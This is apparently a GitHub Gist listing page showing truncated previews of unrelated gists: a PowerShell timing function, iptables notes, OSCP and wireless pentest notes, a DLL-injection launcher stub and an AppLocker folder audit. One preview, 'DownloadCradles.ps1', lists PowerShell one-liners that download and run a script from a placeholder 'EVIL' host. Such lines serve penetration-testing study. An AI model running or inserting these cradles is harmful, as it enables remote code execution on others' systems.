Skip to content

Instantly share code, notes, and snippets.

@jpoehls
jpoehls / output.txt
Created March 26, 2012 16:48
PowerShell benchmarking function. Or, the Windows equivalent of Unix's `time` command.
PS> time { ping -n 1 google.com } -Samples 10 -Silent
..........
Avg: 62.1674ms
Min: 56.9945ms
Max: 87.9602ms
PS> time { ping -n 1 google.com } -Samples 10 -Silent -Long
..........
Avg: 00:00:00.0612480
Min: 00:00:00.0572167
@HarmJ0y
HarmJ0y / random.ps1
Last active August 31, 2022 17:27
random data file one-liner
$megs=1000;$w=New-Object IO.streamWriter $env:temp\data.dat;[char[]]$c='azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789-_';1..$megs|ForEach-Object{1..4|ForEach-Object{$r=$c|Get-Random -Count $c.Count;$s=-join $r;$w.Write($s*4kb);}};
@nerdalert
nerdalert / Netfilter-IPTables-Diagrams.md
Last active November 13, 2024 13:26
Linux NetFilter, IP Tables and Conntrack Diagrams

Linux NetFilter, IP Tables and Conntrack Diagrams

IPTABLES TABLES and CHAINS

IPTables has the following 4 built-in tables.

1) Filter Table

Filter is default table for iptables. So, if you don’t define you own table, you’ll be using filter table. Iptables’s filter table has the following built-in chains.

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active November 16, 2024 01:57
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@yumura
yumura / poco.psm1
Last active October 15, 2024 21:50
powershell peco
# Load
Split-Path $MyInvocation.MyCommand.Path -Parent | Push-Location
Get-ChildItem poco_*.ps1 | %{. $_}
Pop-Location
function Select-Poco
{
Param
(
[Object[]]$Property = $null,
@dogrocker
dogrocker / Wireless Penetration Testing Cheat Sheet.md
Created July 2, 2016 18:30
Wireless Penetration Testing Cheat Sheet

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

  • Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

@Andoryuuta
Andoryuuta / launch.py
Created August 27, 2016 07:17
Example of DLL injection launcher in python
from ctypes import *
import win32event
import win32process
import win32api
import win32ui
import sys
import os.path
def panic(proc, reason):
win32ui.MessageBox(reason, 'Launcher Error!', 0)
@hinchley
hinchley / UserWritableLocations.ps1
Created September 12, 2016 09:35
A PowerShell script for identifying user-writable folders. Usage is discussed in the following article: http://hinchley.net/2016/06/13/an-approach-for-managing-microsoft-applocker-policies/
# Paths that we've already excluded via AppLocker.
$exclusions = @()
# Paths to process.
$paths = @(
"C:\Windows"
)
# Setup log.
$log = "$PSScriptRoot\UserWritableLocations.log"
@dcode
dcode / GitHub Flavored Asciidoc (GFA).adoc
Last active October 12, 2024 11:16
Demo of some useful tips for using Asciidoc on GitHub

GitHub Flavored Asciidoc (GFA)